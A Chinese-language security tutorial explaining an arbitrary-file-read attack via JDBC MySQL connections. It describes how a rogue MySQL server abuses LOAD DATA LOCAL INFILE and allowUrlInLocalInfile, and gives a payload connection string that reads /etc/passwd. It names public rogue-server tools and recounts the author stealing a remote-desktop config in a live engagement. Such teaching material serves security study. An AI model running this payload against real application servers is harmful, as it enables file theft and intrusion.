
JDBC 漏洞利用-任意文件读取
一、JDBC是什么
DBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句的Java API。应用程序可通过这套API连接到关系数据库,并使用SQL语句来完成对数据库中数据的查询、更新和删除等操作。
应用程序使用JDBC访问数据库的方式如下图所示:

二、文件读取原理
应用程序存在数据库连接的探针,即存在可连接数据库的接口。当发现存在该接口时就可以考虑尝试任意文件读取。
针对利用过程来说,逻辑是伪造mysql服务器于应用服务器之间的互联,获取服务器的信任。

简单来讲,就是我们可以利用python或者其他语言伪造一个mysql服务器(监听3306端口),这个伪造的mysql服务器可以不实现mysql任何功能(除了向客户端回复 greeting package外),当有其他客户端连接上该服务器时,就可以读取该客户端上的任意文件,前提是客户端具有该文件读写权限。
针对任意文件读取
1、 load data infile
load data infile:将服务器上的文件插入表中。
load data local infile:将客户端的文件插入表中。
2、 allowUrlInLocalInfile
能够使用URL类支持的所有协议,进行SSRF获取file协议读取本地文件。
在mysql-connector-java包中 存在sendFileToServer方法。

其中判断allowUrlInLocalInfile是否为true开启load data local infile,即将客户端的文件插入表中(这里的客户端指的是应用服务器,我们本地伪造的是服务端)。

Payload:
jdbc:mysql://127.0.0.1:3306/DB_NAME?user=fileread_file:///etc/passwd&maxAllowedPacket=655360&allowUrlInLocalInfile=true
利用jdbc连接mysql,host可为本地也可为远端地址,后接数据库名(随便写一个不重要);user参数值利用file协议读取文件;allowUrlInLocalInfile=true开启load data local infile;maxAllowedPacket=655360限定数据包大小(在mysql-connector-java 5.1.x版本需要加上maxAllowedPacket=655360选项,否则报java.lang.NegativeArraySizeException错误)。
3、脚本运行原理
需要达到能够读取客户端任意文件目的,伪造的mysql服务端必须能够发送以下几个数据包:
向mysql client发送Server greeting包;
对mysql client的登录包做Accept all authentications响应(即任意用户密码都能登录);
等待 Client 端发送一个Query Package;
回复一个file transfer请求。
注:除了数据包外,还需考虑数据包格式问题。
以上伪造的数据包用以满足数据库连接请求与响应。
三、危害
得到任意读取目标主机上的任意文件。
笔者在实战时遇到了读取目标机器上todesk配置文件、导致直接远程连接主机的情况。
四、复现环境准备
1、 伪造的mysql环境
直接利用工具伪造环境。
工具地址:
https://github.com/rmb122/rogue_mysql_server
https://github.com/fnmsd/MySQL_Fake_Server
工具使用方式:
以MySQL_Fake_Server为例:
Config.json配置文件:

Fileread一节配置了默认的几个系统文件,可以指定jdbc连接串的username来读取对应文件。
例如想要读取linux的/etc/passwd,username可指定为linux_passwd,即username=linux_passwd。或者可用fileread_指定要读取的文件,例如username=fileread_/etc/passwd,即可读取。
2、 利用JDBC连接mysql数据库
报错如下:
Exception in thread "main"java.lang.ClassNotFoundException: com.mysql.jdbc.Driver

解决方案:
缺少mysql连接驱动,需要导入驱动包
下载相应版本,不同版本对应payload不同。

利用JDBC连接数据库,需要跟上
allowUrlInLocalInfile=true

以user为key,value为需读取的文件,成功读取文件。
